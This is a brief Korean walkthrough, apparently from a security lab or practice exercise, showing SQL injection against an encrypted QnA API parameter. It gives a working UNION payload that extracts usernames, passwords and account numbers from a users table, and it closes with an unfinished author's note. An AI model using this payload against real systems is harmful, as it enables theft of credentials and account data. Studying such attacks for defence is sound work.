SQLi 공격


SQLi 공격

1. SQLi 공격이란?

  • 사용자의 입력 값으로 웹 사이트 SQL 쿼리가 완성되는 약점을 이용하며, 입력 값을 변조하여 비정상적인 SQL 쿼리를 조합하거나 실행하는 공격이다.
  • 해당 취약점이 존재하는 경우 비정상적인 SQL 쿼리로 DBMS 및 데이터(Data)를 열람하거나 조작 가능하므로 사용자의 입력 값에 대한 필터링을 구현하여야 한다.

2. 공격 방법

Burp suite로 QnA 게시판(/api/qna/view) 요청을 가로챈다.

버프로잡은화면

요청 body의 enc_data를 복호화하면 qna_id가 전달되는 것 확인할 수 있다.

qna_id확인

qna_id에 넣을 SQL 쿼리문이다.

{"qna_id":"false UNION select username as title, password as content, account_number as write_at from users where true LIMIT 1,2; -- "}

Injection할 쿼리문을 포함한 JSON을 암호화한다.

encrypt('{"qna_id":"false UNION select username as title, password as content, account_number as write_at from users where true LIMIT 1,2; -- "}');

쿼리암호화

앞에서 암호화한 데이터를 요청에 넣어 보냈다.

암호화한 데이터 송신

응답값을 복호화해서 쿼리문 결과 확인할 수 있다.

결과확인

**암호화,복호화 확인 넣어야함